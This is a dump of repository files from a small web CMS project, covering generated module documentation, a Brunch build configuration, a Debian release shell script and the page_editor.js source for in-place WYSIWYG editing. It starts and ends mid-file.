modules in [src/app/js/enhancements/](https://github.com/sc0ttj/Project/tree/master/src/app/js/_enhancements)
NOTE: This func is disabled, to enable it, you need to remove the underscore from `_enhancements`
@param `modules` - the array of module names to load
```js
loadModules: function (modules) {
loadJS('js/enhancements.js', function(){
modules.forEach(function(val, i){
require('enhancements/' + val).init();
});
});
},
```
#### getQueryVariable()
```js
/*https://css-tricks.com/snippets/javascript/get-url-variables/ */
getQueryVariable: function (variable) {
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
},
```
## Template Objects
For each template that uses JS, create an object with an init() method:
### Fixed Image Object
#### Methods:
- init()
#### fixedImage::init()
```js
init: function() {
var fixedImages = $('.fixed-image-text:not(.transparent)');
fixedImages.addClass('anim-fade-1s transparent');
var watchers = $('.fixed-image-text').each(function addWatchers(el){
var $el = $(el);
var watcher = scrollMonitor.create(el);
watcher.fullyEnterViewport(function(){
$el.removeClass('transparent');
});
watcher.exitViewport(function(){
$el.addClass('transparent');
});
});
},
},
```
### Scrollmation Object
#### Methods:
- init()
#### scrollmation::init()
```js
init : function (){
$('.scrollmation-text').removeClass('article');
$('.scrollmation-text:not(.scrollmation-text-js)').addClass('scrollmation-text-js');
$('.scrollmation-text-js').addClass('full-height');
$('.scrollmation-image-container').removeClass('scrollmation-image-container-fixed');
$('.scrollmation-image-container').addClass('scrollmation-image-container-top');
var scrollmationStartTags = $('.scrollmation-start'),
scrollmationTextTags = $('.scrollmation-text'),
scrollmationEndTags = $('.scrollmation-end');
var startWatchers = scrollmationStartTags.each(function addWatchers(el){
var $el = $(el),
watcher = scrollMonitor.create(el),
$container = $(el.parentNode.getElementsByClassName('scrollmation-image-container'));
watcher.enterViewport(function() {
$container.removeClass('scrollmation-image-container-fixed');
$container.removeClass('scrollmation-image-container-bottom');
if (!$container.hasClass('scrollmation-image-container-top')) $container.addClass('scrollmation-image-container-top');
});
});
var textWatchers = scrollmationTextTags.each(function addWatchers(el){
var $el = $(el),
watcher = scrollMonitor.create(el),
$container = $(el.parentNode.getElementsByClassName('scrollmation-image-container'));
watcher.fullyEnterViewport(function(){
$container.removeClass('scrollmation-image-container-top');
$container.removeClass('scrollmation-image-container-bottom');
if (!$container.hasClass('scrollmation-image-container-fixed')) $container.addClass('scrollmation-image-container-fixed');
});
});
var endWatchers = scrollmationEndTags.each(function addWatchers(el){
var $el = $(el),
watcher = scrollMonitor.create(el),
$container = $(el.parentNode.getElementsByClassName('scrollmation-image-container'));
watcher.enterViewport(function(){
$container.removeClass('scrollmation-image-container-fixed');
$container.removeClass('scrollmation-image-container-top');
if (!$container.hasClass('scrollmation-image-container-bottom')) $container.addClass('scrollmation-image-container-bottom');
});
});
},
},
```
### statText Object
#### Methods:
- init()
#### statText::init()
```js
init: function() {
var statTexts = $('.stat-text:not(.transparent)');
statTexts.addClass('anim-fade-1s transparent');
var watchers = $('.stat-text').each(function addWatchers(el){
var $el = $(el),
watcher = scrollMonitor.create(el);
watcher.fullyEnterViewport(function(){
$el.removeClass('transparent');
});
watcher.exitViewport(function(){
$el.addClass('transparent');
});
});
},
},
```
### Video Object
#### Methods:
- init()
- setupVideoEvents()
- setupVideoBtnEvents()
#### video::init()
```js
init: function(){
var $videos = $('video'),
$videoBtns = $('.video-overlay-button');
$videos.each(this.setupVideoEvents);
$videoBtns.each(this.setupVideoBtnEvents);
/* add auto pause behaviour when video scrolls out of viewport */
var watchers = $('video').each(function addWatchers(video){
var watcher = scrollMonitor.create(video),
videoOverlay = video.nextElementSibling;
watcher.exitViewport(function(){
video.pause();
if (videoOverlay){
$(videoOverlay).removeClass('hidden');
$(videoOverlay.children[0]).html('▶');
}
});
});
},
```
#### video::setupVideoEvents()
```js
setupVideoEvents: function (videoElem, i) {
var videoOverlay = videoElem.nextElementSibling,
overlayBtn = videoOverlay.firstChild.nextSibling;
$(videoOverlay).removeClass('hidden');
$(videoElem).on('mouseover', function (){
$(videoOverlay).removeClass('hidden');
});
$(videoElem).on('mouseout', function (){
if (videoElem.playing) $(videoOverlay).addClass('hidden');
});
$(videoElem).on('ended', function (){
$(videoOverlay).removeClass('hidden');
overlayBtn.innerHTML = '▶';
});
},
```
#### video::setupVideoBtnEvents()
```js
setupVideoBtnEvents: function(btn, i){
var videoBtnClickHandler = function(){
var video = this.parentNode.previousElementSibling,
videoOverlay = this.parentNode;
/*http://stackoverflow.com/a/31133401
* add a playing property to media stuff
* we can use this to check if a video is playing or not
*/
if (typeof video.playing == 'undefined'){
Object.defineProperty(HTMLMediaElement.prototype, 'playing', {
get: function(){
return !!(this.currentTime > 0 && !this.paused && !this.ended && this.readyState > 2);
}
});
}
if (video.playing) {
video.pause();
$(videoOverlay).removeClass('hidden');
this.innerHTML = '▶';
} else {
video.play();
$(videoOverlay).addClass('hidden');
this.innerHTML = '⏸';
}
};
$(btn).on('click', videoBtnClickHandler);
},
},
}
```
------------------------
Generated _Mon Mar 20 2017 20:10:27 GMT+0000 (GMT)_ from [Ⓢ app.js](app.js "View in source")
<file_sep>/build/release.sh
#!/bin/sh
# This script will automate creating versioned releases:
#
# 1. compile a production build of the CMS, using latest the
# source from the master branch
#
# 2. build a .deb of the compiled CMS, for easy install on the
# live server (which must be able to install/convert .deb pkgs)
#
# 3. update a 'releases' branch, which contains all our CMS builds
# with the new build output (each commit is a new release/build)
#
# 4. you should then go to the Github Releases page and manually create
# a Github release from the latest commit in the 'releases' branch
#
# NOTE: You MUST use the 'releases' branch tp create the releases,
# as it is the only branch which contains the compiled CMS builds,
# without source (all other branches contain the source only).
#
# Only run this script once you have committed a version to master
# on Github that is good for a release build.
#
# A release is a build which ready to be installed on the live
# environment (AWS etc) and gets its own version number and a
# release page on github.
#
# You should create versioned releases after doing lots of bug fixing,
# and not straight after adding new, untested features.
set -a
USAGE="Usage: release.sh VERSION 'release message'
Example: release.sh 3.1.0 'new UI interface'
NOTE: Do not include 'v' before the "
VER="$1"
MSG="$2"
# log errors to stdout
error() {
echo "$1"
exit 1
}
# error if we got some empty opions
if [ "${VER}" = "" -o "$MSG" = "" ];then
error "$USAGE"
fi
echo # begin script
# make sure we are building the latest CMS version from the right branch
git checkout master || error "Failed finding master branch"
echo
# get the hash of the latest master commit.. We will link to it from our
# releases branch commit, so we know from which source version our release
# was built
HASH=$(git rev-parse --short HEAD)
# build latest version of CMS
rm -rf www/* && brunch b --production || error "Failed brunch build"
cd build
# remove old files
rm -rf "Project-cms_"${VER}"_all/"
# copy template folder into a build $VER folder
cp -Rf Project-cms_VER_all "Project-cms_"${VER}"_all" || error "Failed to create package dir"
# go to project root
cd ..
# copy latest builds of www/index.php and www/demo/ into build folder
cp www/index.php "build/Project-cms_"${VER}"_all/var/www/html/index.php" || error "Failed to add index.php"
cp -Rf www/demo "build/Project-cms_"${VER}"_all/var/www/html/demo" || error "Failed to add /demo/"
# update DEBIAN/control (update version number)
sed -i "s/Version: VER/Version: $VER/" "build/Project-cms_"${VER}"_all/DEBIAN/control"
# update the md5s in DEBIAN/md5sums
find www/demo/ -type f | while read line; do md5sum ${line} | sed 's/www/var\/www\/html/' >> "build/Project-cms_"${VER}"_all/DEBIAN/md5sums"; done
# append version info to DEBIAN/control description
echo "
.
v"${VER}": $MSG" >> "build/Project-cms_"${VER}"_all/DEBIAN/control"
# we don't have a Dev Ops department to build and deploy our packages
# for us, so let's cheat a little bit:
#
# we log into our VM with `vagrant ssh`, then build our pkg from there,
# cos our VM is an ubuntu machine, based our live env .. This means they
# have the same package managers, same .deb pkg types, archs, deps, etc
# so lets login into our vagrant VM, so we can build a pkg compatible
# with our live env (which our vagrant VM is based on). The pkg we
# build can then be installed on the live env using the package manager,
# which gives us good control over upgrades and rollbacks. etc
vagrant ssh << RUN
# go to project root
cd /vagrant
# now build the .deb of the given version
cd build/
echo
echo "Building Package: "
dpkg-deb -b "Project-cms_"${VER}"_all" || echo "Failed building .deb"
# leave vagrant
RUN
# remove our tmp build dir, we don't want it any more
rm -rf "build/Project-cms_"${VER}"_all/"
# now we need to commit this CMS build to a releases branch,
# where each commit is a compiled CMS build linked to a
# versioned, downloadable GitHub release (on the releases page).
#
# copy master build output to a tmp dir
mkdir -p /tmp/project-cms-build/www/
rm -rf /tmp/project-cms-build/www/*
cp -R www/* /tmp/project-cms-build/www/
# go to release branch
echo
git checkout releases
# now replace the old release build with the new one we put in /tmp
rm -rf www/*
cp -R /tmp/project-cms-build/www/* www/
# now we add the latest CMS build output to the releases branch
echo
git add -f www/index.php www/demo/
git status
git commit -m "new release v"${VER}", built from master commit ${HASH}: ${MSG}"
git push origin releases
# return to our previous branch (master)
git checkout master
# we will use the commit we just made to `releases` to make our
# github release downloads page as well.. tell the user how to do it:
echo "
Done!
Now you should:
1. visit the Github releases page
2. click 'Draft a new release'
3. add the tag 'v"${VER}"', and CHOOSE THE 'releases' BRANCH
4. attach the 'build/Project-cms_"${VER}"_all.deb' file
5. publish the release"
exit 0
<file_sep>/docs/README.md
# Documentation
This is the developer documentation for this project. Here you will find the code, commented with explanations.
## Contents:
* ### Project files
* [brunch-config.js](https://github.com/sc0ttj/Project/blob/master/docs/brunch-config.js.md)
* ### Main app
* [app.js](https://github.com/sc0ttj/Project/blob/master/docs/app/js/app.js.md)
* ### CMS
* [cms.js](https://github.com/sc0ttj/Project/blob/master/docs/cms/js/cms.js.md)
* #### CMS Modules
* [ajaxer.js](https://github.com/sc0ttj/Project/blob/master/docs/cms/js/modules/ajaxer.js.md)
* [export_manager.js](https://github.com/sc0ttj/Project/blob/master/docs/cms/js/modules/export_manager.js.md)
* [file_manager.js](https://github.com/sc0ttj/Project/blob/master/docs/cms/js/modules/file_manager.js.md)
* [image_manager.js](https://github.com/sc0ttj/Project/blob/master/docs/cms/js/modules/image_manager.js.md)
* [meta_manager.js](https://github.com/sc0ttj/Project/blob/master/docs/cms/js/modules/meta_manager.js.md)
* [modal.js](https://github.com/sc0ttj/Project/blob/master/docs/cms/js/modules/modal.js.md)
* [page_editor.js](https://github.com/sc0ttj/Project/blob/master/docs/cms/js/modules/page_editor.js.md)
* [preview_manager.js](https://github.com/sc0ttj/Project/blob/master/docs/cms/js/modules/preview_manager.js.md)
* [section_manager.js](https://github.com/sc0ttj/Project/blob/master/docs/cms/js/modules/section_manager.js.md)
* [templater.js](https://github.com/sc0ttj/Project/blob/master/docs/cms/js/modules/templater.js.md)
* [translation_manager.js](https://github.com/sc0ttj/Project/blob/master/docs/cms/js/modules/translation_manager.js.md)
* [ui.js](https://github.com/sc0ttj/Project/blob/master/docs/cms/js/modules/ui.js.md)
* [video_manager.js](https://github.com/sc0ttj/Project/blob/master/docs/cms/js/modules/video_manager.js.md)
* [vocab_editor.js](https://github.com/sc0ttj/Project/blob/master/docs/cms/js/modules/vocab_editor.js.md)
* ### Test Suite
* [_phantom_runner.js](https://github.com/sc0ttj/Project/blob/master/docs/test/js/_phantom_runner.js.md)
* [test_runner.js](https://github.com/sc0ttj/Project/blob/master/docs/test/js/test_runner.js.md)
* [tests.js](https://github.com/sc0ttj/Project/blob/master/docs/test/js/tests.js.md)
### Templates
The templating system used is [Mustache.js](https://github.com/janl/mustache.js).
Templates are in `src/app/templates/*.tmpl`, with corresponding styles in `src/app/css/*.scss`.
Each template is a collection of re-usable page elements, behaviours and styles. For example, a template might provide a 'full width video' or 'fixed background image'.
* The templates are used at build time by Brunch to build `src/app/assets/index.html` (brunch will use Mustache).
* Templates are also used by the [Section Manager](https://github.com/sc0ttj/Project/blob/master/docs/cms/js/modules/section_manager.js.md) in the CMS when adding new sections to the page.
---
#### About These Docs:
These docs were generated using [JDI](https://github.com/alexanderGugel/jdi)
The recommended way to install jdi is via npm:
`npm i jdi -g`
To build these docs, add markdown in your code comments, then run:
```
jdi brunch-config.js
jdi src/app/js/app.js
jdi src/cms/js/cms.js
jdi src/cms/js/cms/modules/*.js
jdi src/test/js/*.js
etc
```
Then copy the generated `.md` files to the relevant place in the `docs/` directory.<file_sep>/docs/cms/js/modules/page_editor.js.md
# page_editor.js
This module makes elements on the index.html page editable, adds buttons to inline
elements and generally provides in-place, WYSIWYG editing of HTML.
First, we get our dependencies
```js
var $ = require('cash-dom');
```
Set a var we can use for consistent self reference
```js
var self;
```
Use strict rules
```js
"use strict";
```
Define our CommonJS module
```js
module.exports = {
```
## Module Methods
### init()
On init, create UI buttons, make chosen elems editable, add event handlers
such as clickable elems, and editable elem actions.
```js
init: function(){
self = this;
document.body.setAttribute('spellcheck', false);
/* check if in firefox or not */
self.isInFirefox = (typeof InstallTrigger !== 'undefined');
/* create the HTML for the ADD MEDIA buttons */
self.createMediaBtn();
/* setup the editable elements */
self.setEditableItems(cms.config.editableItems);
self.setEditableRegions(cms.config.editableRegionClass);
self.nextEditableElem = $('contenteditable')[0];
/* setup the events for keypress etc on editable items */
self.setEventHandlers();
},
```
### createMediaBtn
Creates the inline buttons, adds them to page,
and finally adds the click events to them
```js
createMediaBtn: function (){
/* define the HTML */
self.mediaBtn = '\
<div id="cms-media-btn" \
class="cms-media-btn cms-anim-fade-500ms cms-transparent"\
contenteditable="false"\
onclick="mediaBtnClickHandler(this);">\
ADD MEDIA\
</div>';
/* mediaBtnClickHandler() - the event handler function */
mediaBtnClickHandler = function (el){
var imgHtml = '<picture><img class="inline-image" src=images/placeholders/550x550.png /></picture>',
$el = $(el),
$target = $el;
/* when an ADD MEDIA button is clicked, the code below will
* add an image after the currently focused element
*/
if ($el.hasClass('cms-media-btn')) $target = $el.parent();
$target.after(imgHtml);
$target.children('.cms-media-btn').remove();
};
},
```
### setEditableItems()
```js
setEditableItems: function(items){
items.forEach(function makeItemEditable(el, i){
var $elems = $(cms.config.sectionSelector + ' ' + el);
$elems.attr('contenteditable', true);
$elems.addClass(cms.config.editableClass);
});
},
```
### setEditableRegions()
```js
setEditableRegions: function(sel){
var selector = sel.replace(/^\./, ''),
$elems = $(cms.config.sectionSelector + ' .' + selector);
$elems.attr('contenteditable', true);
$elems.addClass(cms.config.editableRegionClass);
self.addMediaButtons();
},
```
### setEventHandlers()
```js
setEventHandlers: function(){
var $editables = self.getEditableItems();
$editables.off('focus', self.onEditableFocusHandler);
$editables.off('blur', self.onEditableBlurHandler);
$editables.off('keypress', self.onEditableKeyPressHandler);
$editables.on('focus', self.onEditableFocusHandler);
$editables.on('blur', self.onEditableBlurHandler);
$editables.on('keypress', self.onEditableKeyPressHandler);
/* add a popup menu on text highlight */
self.onHighlightTextHandler();
},
```
### getEditableItems()
```js
getEditableItems: function () {
var $items = $('[contenteditable]');
return $items;
},
```
### onHighlightTextHandler()
```js
onHighlightTextHandler: function(){
```
uses my fork of grande.js (https://github.com/sc0ttj/grande.js)
```js
var selector = '.' + cms.config.editableRegionClass;
var editables = document.querySelectorAll(selector);
grande.bind(editables);
},
```
### onEditableKeyPressHandler()
```js
onEditableKeyPressHandler: function(e){
var el = this;
/* crude firefox fix - dont allow total emptying of editable regions */
/* if(self.isInFirefox && self.elemIsEmpty(el)) document.execCommand("insertHTML", false, '<p contenteditable="true"></p>'); */
if (e.which === 13) {
if(!self.elemIsContainer(el)){
e.preventDefault();
if (self.nextEditableItemExists) self.nextEditableElem.focus();
} else {
/* if (!self.isInFirefox) $(':focus')[0].blur(); */
}
return false;
}
},
```
### addMediaButtons()
```js
addMediaButtons: function () {
$(cms.config.inlineMediaRegionSelector).each(function(){
var $el = $(this),
thisHasNoMediaBtn = ($el.children('.cms-media-btn').length < 1);
if (thisHasNoMediaBtn) $el.append(self.mediaBtn);
});
},
```
### onEditableBlurHandler()
```js
onEditableBlurHandler: function(e){
var el = this,
$el = $(el),
elemIsEmpty = self.elemIsEmpty(el),
elemIsContainer = self.elemIsContainer(el);
if (elemIsEmpty && elemIsContainer) $el.remove();
self.addMediaButtons();
self.removeLeftOverMediaBtns(el);
cms.saveProgress();
},
```
### onEditableFocusHandler()
```js
onEditableFocusHandler: function(e){
var el = this;
self.nextEditableElem = self.getNextEditableItem(el);
self.nextEditableItemExists = (self.nextEditableElem === "{}" || typeof self.nextEditableElem != 'undefined');
self.removeLeftOverMediaBtns(el);
cms.imageManager.addResponsiveImageClickHandlers();
/* chrome bug workaround - remove needless <span>s from <p>s
* select spans to unwrap
* https://plainjs.com/javascript/manipulation/unwrap-a-dom-element-35/
*/
$(this).find('span:not([class="stat-text-highlight"])').each(function unwrapSpan(span){
var parent = span.parentNode;
while (span.firstChild) parent.insertBefore(span.firstChild, span);
parent.removeChild(span);
});
},
```
### getNextEditableItem()
```js
getNextEditableItem: function (el) {
var nextItem = $('[contenteditable]').eq($('[contenteditable]').index($(el))+1)[0];
return nextItem;
},
```
### elemIsEmpty()
```js
elemIsEmpty: function (el) {
var elemIsEmpty = (el.innerHTML === ''
|| el.innerHTML.indexOf('<br>') === 0
|| el.innerHTML === '\n'
|| el.innerHTML === '""'
|| el.innerHTML === '<br>'
|| el.innerHTML === '<strong></strong>'
|| el.innerHTML === '<span></span>'
|| el.innerHTML === '<b></b>'
|| el.innerHTML === '<i></i>'
|| el.innerHTML === '<em></em>'
|| el.innerHTML === '<div></div>');
if (elemIsEmpty) {
el.innerHTML = '';
return true;
}
return false;
},
```
### elemIsContainer()
```js
elemIsContainer: function (el) {
var elemIsContainer = ($(el).children('[contenteditable]').length > 0);
if (elemIsContainer) return true;
return false;
},
```
### removeLeftOverMediaBtns
```js
removeLeftOverMediaBtns: function (el){
$(el).children().each(function(elem){
if (self.onlyContainsMediaBtn(elem)) $(elem).remove();
});
if (self.onlyContainsMediaBtn(el)) $(el).remove();
},
```
### onlyContainsMediaBtn()
```js
onlyContainsMediaBtn: function (el) {
var onlyContainsBtn = (el.innerHTML.indexOf('<div id="cms-media-btn"') === 0);
return onlyContainsBtn;
},
```
### getTextBlockContainer()
```js
/* https://stackoverflow.com/questions/5740640/contenteditable-extract-text-from-caret-to-end-of-element?answertab=votes#tab-top */
getTextBlockContainer: function(node) {
while (node) {
if (node.nodeType == 1) return node;
node = node.parentNode;
}
},
```
### getTextAfterCaret()
```js
getTextAfterCaret: function() {
var sel = window.getSelection();
if (sel.rangeCount) {
var selRange = sel.getRangeAt(0);
var blockEl = self.getTextBlockContainer(selRange.endContainer);
if (blockEl) {
var range = selRange.cloneRange();
range.selectNodeContents(blockEl);
range.setStart(selRange.endContainer, selRange.endOffset);
return range.extractContents();
}
}
},
```
End of module
```js
};
```
------------------------
Generated _Sat Mar 25 2017 03:19:45 GMT+0000 (GMT)_ from [Ⓢ page_editor.js](page_editor.js "View in source")
<file_sep>/src/app/js/_enhancements/test.js
module.exports = {
init: function (){
console.log('I only load if the browser cuts the mustard');
}
}<file_sep>/docs/brunch-config.js.md
# brunch_config.js
This file is read by `brunch`, each time a brunch build command
is executed on the command line.
See [Using the build tool](https://github.com/sc0ttj/Project/wiki/Using-the-build-tool) in the Wiki, for the available
`brunch` commands and which ones to use.
Also see [brunch.io](http://brunch.io/docs/config) for more info
```js
/*
This config can use the following ways to match files/dirs etc.. Examples:
- regular expressions: /\.js$/,
- strings with glob wildcards: 'path/to/*.css',
- anymatch patterns: /^startDir\/(one|other)\/lastDir[\\/]/ (etc),
- function: function(path) { var files; ...; return files; },
- array of any of the above: [
'path/to/specific/file.js', // include specific file
'any/**.js', // all files with .js extension
/\.test\.js$/, // all files with .test.js extension
path => path.includes('tmp') // contains `tmp` substring
]
Defaults for Brunch config found in source:
https://github.com/brunch/brunch/blob/master/lib/utils/config-validate.js
*/
```
## Custom setup
Get json data about the default page to be built, used later to compile html from templates
```js
var pageConfig = require('./src/app/js/page_config.js');
```
#### processEnv()
You can pass env vars to brunch at build time..
So lets get the vars now and setup anything we need to
```js
(function processEnv(){
/*
* if `BUILD=with-tests brunch b`
* or `npm test` was used at command line */
if (process.env.BUILD == 'with-tests') {
/*
* include a test-runner script in index.html (in assets)
* to do this, we update default pageData..
* mustache will then include the test-runner
* partial if we set var 'test' below */
pageConfig.test = true;
}
})();
```
## Config starts below
```js
exports.config = {
/* paths defines the src and output dirs */
paths: {
/* the dir to build our src code to */
'public': 'www/demo',
/* the files to combine and minify */
'watched': ['src'],
/* ignored: () => false, // override defaults for no ignored files */
},
/* define dir locations of assets and vendor files */
conventions: {
/* assets are always copied (unmodified) to output dir (www/demo) */
assets: [
/^src\/(app|cms)\/assets[\\/]/
],
/* set the vendor dirs for the 3rd party js, css, etc */
vendor: [
/^src\/(app|cms)\/vendor[\\/]/,
/^(bower_components|node_modules)[\\/]/
],
/* by default, files starting with _ are ignored */
},
/* JS module setup, see http://brunch.io/docs/config#-modules- */
modules: {
/* use brunchs built in commonjs module bundler, better supports npm */
definition: 'commonjs',
wrapper: 'commonjs',
/*
* nicer module paths for require():
* Make js modules available at 'module.js',
* instead of '/src/app/cms//modules/' .. etc) */
nameCleaner: path => path.replace(/^src\/(app|cms|test)\/js\//, '')
},
/* enable full npm support in brunch */
npm: {
enabled: true,
/* get the css of installed npm modules */
/*
* styles: {
* leaflet: ['dist/leaflet.css']
* }
*/
},
/* the hmtl, css, js files to combine, minify, etc */
files: {
javascripts: {
joinTo: {
/* combine js files to 'js/app.js' */
'js/app.js': /^src\/app\/js/,
/* combine js files to 'js/enhancements.js' */
/* 'js/enhancements.js': /^src\/app\/js\/enhancements/, */
/* combine js files to 'js/vendor.js' */
'js/vendor.js': [
/^src\/app\/vendor/,
/^(bower_components)/,
],
/* combine js files to 'cms/js/cms.js' */
'cms/js/cms.js': /^src\/cms\/js/,
/* combine js files to 'cms/js/vendor.js' */
'cms/js/vendor.js': [
/^src\/cms\/vendor/,
/^(node_modules)/,
],
/* combine js files to 'test/test.js' */
'test/test_runner.js': /^src\/test\/js/,
/* combine js files to 'test/vendor.js' */
'test/vendor.js': /^src\/test\/vendor\/js/
},
order: {
/* files to combine first */
before: [],
/* files to combine last */
after: [],
}
},
stylesheets: {
joinTo: {
/* combine scss to css/app.css */
'css/app.css': /^src\/app\/css/,
/* combine scss to css/vendor.css */
'css/vendor.css': [
/^src\/app\/vendor/,
/^bower_components/,
],
/* combine scss to cms/css/cms.css */
'cms/css/cms.css': /^src\/cms\/css/,
/* combine scss to cms/css/vendor.css */
'cms/css/vendor.css': /^src\/cms\/vendor/,
},
order: {
/* files to combine first */
before: ['normalize.css', 'skeleton.css'],
/* files to combine last */
after: []
}
}
},
plugins: {
/* check js valid on build */
eslint: {
"env": {
"browser": true
},
pattern: /^src\/cms\/.*\.js?$/,
warnOnly: true,
config: {rules: {'array-callback-return': 'warn'}}
},
/* minify html as well as the js and css */
htmlPages: {
compileAssets: true,
},
/* compile /src/app/templates/*.tmpl to /src/app/assets/*.html */
staticHandlebars: {
outputDirectory: 'src/app/assets',
templatesDirectory: 'src/app/templates',
/* settings for "partials" = the tmpls included in main templates file */
partials: {
directory: 'src/app/templates',
prefix: '_'
},
data: pageConfig,
},
/* manually copy files after build */
assetsmanager: {
copyTo: {
'/templates/' : [ 'src/app/templates/*.tmpl' ],
'/cms/api/' : [ 'src/cms/api/*.php' ],
'/cms/api/passwds/' : [ 'src/cms/api/passwds/*.php' ],
'/cms/images/previews/' : [ 'src/app/templates/previews/*.png' ],
}
},
/* after compile, run any shell commands (or `node my_node_cmd`) */
afterBrunch: [
'mkdir -p www/downloads',
'chmod 777 www/downloads',
'chmod 777 www/demo',
'chmod 777 www/demo/images',
'chmod 777 www/demo/videos',
'chmod 777 www/demo/vocabs',
/* move an example home page out of assets, to the web root */
'cp src/_extra-stuff/home.php www/index.php'
],
},
/* run extra tasks on pre-compile and post-compile .. see http://brunch.io/docs/config#-hooks-*/
/*
*hooks: {
* preCompile() {
* console.log("About to compile...");
* return Promise.resolve();
* },
* onCompile(files, assets) {
* console.log("Compiled... Now processing..");
* // list files generated from the build
* console.log(files.map(f => f.path));
* },
*},
*/
/* override brunch environment conventions/defaults */
overrides: {
/* build page without CMS (usage on command line: `brunch build --env nocms`) */
/*
*nocms: {
* paths: {
* 'public': 'www',
* 'watched': ['src/app']
* },
* conventions: {
* assets: [
* /^src\/app\/assets[\\/]/
* ],
* },
* files: {
* javascripts: {
* joinTo: {
* 'js/app.js': /^src\/app\/js/,
* 'js/vendor.js': [
* /^bower_components/,
* /^src\/app\/vendor/,
* ],
* 'test/js/test.js': /^test(\/|\\)(?!vendor)/,
* 'test/js/test-vendor.js': /^test(\/|\\)(?=vendor)/
* },
* order: {
* before: []
* }
* },
* }
*},
*/
},
};
```
------------------------
Generated _Fri Mar 24 2017 03:42:03 GMT+0000 (GMT)_ from [Ⓢ brunch-config.js](brunch-config.js "View in source")
<file_sep>/src/cms/js/modules/page_editor.js
// # page_editor.js
// This module makes elements on the index.html page editable, adds buttons to inline
// elements and generally provides in-place, WYSIWYG editing of HTML.
// First, we get our dependencies
var $ = require('cash-dom');
// Set a var we can use for consistent self reference
var self;
// Use strict rules
"use strict";
// Define our CommonJS module
module.exports = {
// ## Module Methods
// ### init()
// On init, create UI buttons, make chosen elems editable, add event handlers
// such as clickable elems, and editable elem actions.
init: function(){
self = this;
document.body.setAttribute('spellcheck', false);
/* check if in firefox or not */
self.isInFirefox = (typeof InstallTrigger !== 'undefined');
/* create the HTML for the ADD MEDIA buttons */
self.createMediaBtn();
/* setup the editable elements */
self.setEditableItems(cms.config.editableItems);
self.setEditableRegions(cms.config.editableRegionClass);
self.nextEditableElem = $('contenteditable')[0];
/* setup the events for keypress etc on editable items */
self.setEventHandlers();
},
// ### createMediaBtn
// Creates the inline buttons, adds them to page,
// and finally adds the click events to them
createMediaBtn: function (){
/* define the HTML */
self.mediaBtn = '\
<div id="cms-media-btn" \
class="cms-media-btn cms-anim-fade-500ms cms-transparent"\
contenteditable="false"\
onclick="mediaBtnClickHandler(this);">\
ADD MEDIA\
</div>';
/* mediaBtnClickHandler() - the event handler function */
mediaBtnClickHandler = function (el){
var imgHtml = '<picture><img class="inline-image" alt="inline image" src=images/placeholders/550x550.png /></picture>',
$el = $(el),
$target = $el;
/* when an ADD MEDIA button is clicked, the code below will
* add an image after the currently focused element
*/
if ($el.hasClass('cms-media-btn')) $target = $el.parent();
$target.after(imgHtml);
$target.children('.cms-media-btn').remove();
};
},
// ### setEditableItems()
//
setEditableItems: function(items){
items.forEach(function makeItemEditable(el, i){
var $elems = $(cms.config.sectionSelector + ' ' + el);
$elems.attr('contenteditable', true);
$elems.addClass(cms.config.editableClass);
});
},
// ### setEditableRegions()
//
setEditableRegions: function(sel){
var selector = sel.replace(/^\./, ''),
$elems = $(cms.config.sectionSelector + ' .' + selector);
$elems.attr('contenteditable', true);
$elems.addClass(cms.config.editableRegionClass);
self.addMediaButtons();
},
// ### setEventHandlers()
//
setEventHandlers: function(){
var $editables = self.getEditableItems();
$editables.off('focus', self.onEditableFocusHandler);
$editables.off('blur', self.onEditableBlurHandler);
$editables.off('keypress', self.onEditableKeyPressHandler);
$editables.on('focus', self.onEditableFocusHandler);
$editables.on('blur', self.onEditableBlurHandler);
$editables.on('keypress', self.onEditableKeyPressHandler);
/* add a popup menu on text highlight */
self.onHighlightTextHandler();
},
// ### getEditableItems()
//
getEditableItems: function () {
var $items = $('[contenteditable]');
return $items;
},
// ### onHighlightTextHandler()
//
onHighlightTextHandler: function(){
// uses my fork of grande.js (https://github.com/sc0ttj/grande.js)
var selector = '.' + cms.config.editableRegionClass;
var editables = document.querySelectorAll(selector);
grande.bind(editables);
},
// ### onEditableKeyPressHandler()
//
onEditableKeyPressHandler: function(e){
var el = this;
/* crude firefox fix - dont allow total emptying of editable regions */
/* if(self.isInFirefox && self.elemIsEmpty(el)) document.execCommand("insertHTML", false, '<p contenteditable="true"></p>'); */
if (e.which === 13) {
if(!self.elemIsContainer(el)){
e.preventDefault();
if (self.nextEditableItemExists) self.nextEditableElem.focus();
} else {
/* if (!self.isInFirefox) $(':focus')[0].blur(); */
}
return false;
}
},
// ### addMediaButtons()
//
addMediaButtons: function () {
$(cms.config.inlineMediaRegionSelector).each(function(){
var $el = $(this),
thisHasNoMediaBtn = ($el.children('.cms-media-btn').length < 1);
if (thisHasNoMediaBtn) $el.append(self.mediaBtn);
});
},
// ### onEditableBlurHandler()
//
onEditableBlurHandler: function(e){
var el = this,
$el = $(el),
elemIsEmpty = self.elemIsEmpty(el),
elemIsContainer = self.elemIsContainer(el);
if (elemIsEmpty && elemIsContainer) $el.remove();
self.addMediaButtons();
self.removeLeftOverMediaBtns(el);
cms.saveProgress();
},
// ### onEditableFocusHandler()
//
onEditableFocusHandler: function(e){
var el = this;
self.nextEditableElem = self.getNextEditableItem(el);
self.nextEditableItemExists = (self.nextEditableElem === "{}" || typeof self.nextEditableElem != 'undefined');
self.removeLeftOverMediaBtns(el);
cms.imageManager.addResponsiveImageClickHandlers();
/* chrome bug workaround - remove needless <span>s from <p>s
* select spans to unwrap
* https://plainjs.com/javascript/manipulation/unwrap-a-dom-element-35/
*/
$(this).find('span:not([class="stat-text-highlight"])').each(function unwrapSpan(span){
var parent = span.parentNode;
while (span.firstChild) parent.insertBefore(span.firstChild, span);
parent.removeChild(span);
});
},
// ### getNextEditableItem()
//
getNextEditableItem: function (el) {
var nextItem = $('[contenteditable]').eq($('[contenteditable]').index($(el))+1)[0];
return nextItem;
},
// ### elemIsEmpty()
//
elemIsEmpty: function (el) {
var elemIsEmpty = (el.innerHTML === ''
|| el.innerHTML.indexOf('<br>') === 0
|| el.innerHTML === '\n'
|| el.innerHTML === '""'
|| el.innerHTML === '<br>'
|| el.innerHTML === '<strong></strong>'
|| el.innerHTML === '<span></span>'
|| el.innerHTML === '<b></b>'
|| el.innerHTML === '<i></i>'
|| el.innerHTML === '<em></em>'
|| el.innerHTML === '<div></div>');
if (elemIsEmpty) {
el.innerHTML = '';
return true;
}
return false;
},
